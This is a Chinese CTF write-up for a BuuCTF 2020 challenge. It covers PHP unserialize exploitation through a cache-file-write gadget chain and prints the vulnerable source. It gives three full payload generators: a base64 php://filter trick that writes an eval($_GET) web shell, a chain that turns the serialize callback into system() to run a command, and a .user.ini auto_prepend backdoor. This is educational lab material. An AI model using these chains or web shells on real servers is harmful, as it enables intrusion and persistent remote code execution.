2020 BuuCTF新春红包题wp

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
<?php
error_reporting(0);

class A {

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}

class B {

protected function getExpireTime($expire): int {
return (int) $expire;
}

public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}

public function set($name, $value, $expire = null){
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
// echo $data;
// echo "\n";
// echo $filename;

$result = file_put_contents($filename, $data);

if ($result) {
return $filename;
}

return null;
}

}

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
<?php
error_reporting(0);
# 入口: A::__destruct
class A {

protected $store;

protected $key;

protected $expire;

public function __construct($store) {
$this->key = $key; # 文件名
$this->expire = $expire;
$this->store = $store; # class B
}

public function cleanContents(array $contents) { # $cache为数组
$cachedProperties = array_flip([ # 交换数组中的键和值
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) { # cache的值要为数组?如果不为数组,则此循环没用
$contents[$path] = array_intersect_key($object, $cachedProperties);
# array_intersect_key() 返回一个数组,该数组包含了所有出现在 array1 中并同时出现在所有其它参数数组中的键名的值。
}
}

return $contents;
}

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache); # 需要自己构造 $cache

return json_encode([$cleaned, $this->complete]); # 需要自己构造 $complete
}

public function save() {
$contents = $this->getForStorage();
# 文件名,文件内容,过期时间
$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save(); # 入口
}
}

}

class B {

protected function getExpireTime($expire): int {
return (int) $expire;
}

# 获取$name,过滤.php,返回随机name
public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name; # 需要自己构造 options['prefix']
if(substr($cache_filename, -strlen('.php')) === '.php') { # 过滤后缀 .php
die('?');
}
return $cache_filename;
}

# string or 序列化 data
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
# 如果data是整型变量,则转为字符串返回,否则序列化后返回
$serialize = $this->options['serialize']; # 需要自己构造 options['serialize']

return $serialize($data);
}

# $this->key, $contents, $this->expire
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename); # 返回路径中的目录部分

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

# %012d 生成12位数,不足前面补0
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; # 死亡exit

$result = file_put_contents($filename, $data); # shell写入

if ($result) {
return $filename;
}

return null;
}

}

问题1.死亡exit

可以发现文件名的前缀是我们可控的;根据p神的文章,在写入文件时使用php://filter流,将内容进行解码,非base64字符会在解码是被忽略,因此最终php000000000000//exit会被解码;那么我们写入的shell事先也要进行base64编码

数据在写入前会被我们定义的方法处理,之后拼接到死亡exit后面:

$data = $this->serialize($value);
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

我们使$this->options['serialize'];serialize后,在写入文件前(即将被base64解码)的内容为:

php//000000000000exits80pathadirname PD9waHAgZWNobyAiMTIzNCI7ZXZhbCgkX0dFVFthXSk7ID8+"},true]";

可以发现,前36个字符整好是4的倍数,他们会被base64解码成乱码,而紧接着的就是我们构造的base64编码后的字符串,他们会被正常解码成一句话

问题2.后缀

这里用了强比较文件名后四位:

if(substr($cache_filename, -strlen('.php')) === '.php')

可以用.php/.绕过

问题3.随机文件名

生成文件名代码:

$cache_filename = $this->options['prefix'] . uniqid() . $name;

$this->options['prefix']$name都是我们可控的,中间会生成随机字符串,因此爆破文件名很难;要绕过exit的话$this->options['prefix']的值要为php协议流

php://filter/write=base64-decode/resource=uploads/

由于$name可控,我们可以用跳目录的方式来构造文件名:

/../../a.php/.

那么生成的文件名:

php://filter/write=base64-decode/resource=uploads/uniqid()/../../a.php/.

uniqid()函数生成的字符串会被当成文件名,第一个/../会跳出这个随机目录,第二个/../会跳出uploads目录,那么最终a.php会在index.php同级目录下创建

方法一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

class A {

protected $store;
protected $key;
protected $expire;
public $cache = [];
public $complete = true;

public function __construct($store) {
$this->key = '/../../a.php/.'; # 文件名
$this->store = $store; # class B
$this->cache = ['path'=>'a', 'dirname'=>base64_encode('<?php echo "1234";eval($_GET[a]); ?>')];
}

}

class B {
public $options = [
'serialize' => 'serialize',
'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/'
];
}

echo urlencode(serialize(new A(new B)));

方法二

上面$this->options['serialize'];是可控的,也就是说我们可以使用任意的函数;其参数也是我们可控的:

$serialize = $this->options['serialize'];
$data = $this->serialize($value);
# $value为:json_encode([$cleaned, $this->complete]);

$this->complete也是我们可控的,因此可以直接调用system系统函数getshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

class A {

protected $store;
protected $key;
protected $expire;
public $cache = [];
public $complete = '`cat /flag > b.php`';

public function __construct($store) {
$this->key = '/../../a.php/.'; # 文件名
$this->store = $store; # class B
$this->cache = ['path'=>'a', 'dirname'=>base64_encode('<?php echo "1234";eval($_GET[a]); ?>')];
}

}

class B {
public $options = [
'serialize' => 'system',
'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/'
];
}

echo urlencode(serialize(new A(new B)));

方法三

利用.user.ini;只要是以 fastcgi 运行的 php 都可以用.user.ini 构成文件后门的方法

1.先上传图片马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

class A {

protected $store;
protected $key;
protected $expire;
public $cache = [];
public $complete = true;

public function __construct($store) {
$this->key = '/../../a.jpg'; # 文件名
$this->store = $store; # class B
$this->cache = ['path'=>'a', 'dirname'=>base64_encode('<?php echo "1234";eval($_GET[a]); ?>')];
}

}

class B {
public $options = [
'serialize' => 'serialize',
'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/'
];
}

echo urlencode(serialize(new A(new B)));

2.上传.user.ini,预加载a.jpg:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

class A {

protected $store;
protected $key;
protected $expire;
public $cache = [];
public $complete = true;

public function __construct($store) {
$this->key = '/../../.user.ini'; # 文件名
$this->store = $store; # class B
$this->cache = ['path'=>'a', 'dirname'=>base64_encode('auto_prepend_file=a.jpg ')];
}

}

class B {
public $options = [
'serialize' => 'serialize',
'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/'
];
}

echo urlencode(serialize(new A(new B)));

不知道哪出问题了,并不能加载a.jpg…

参考http://althims.com/2020/01/29/buu-new-year/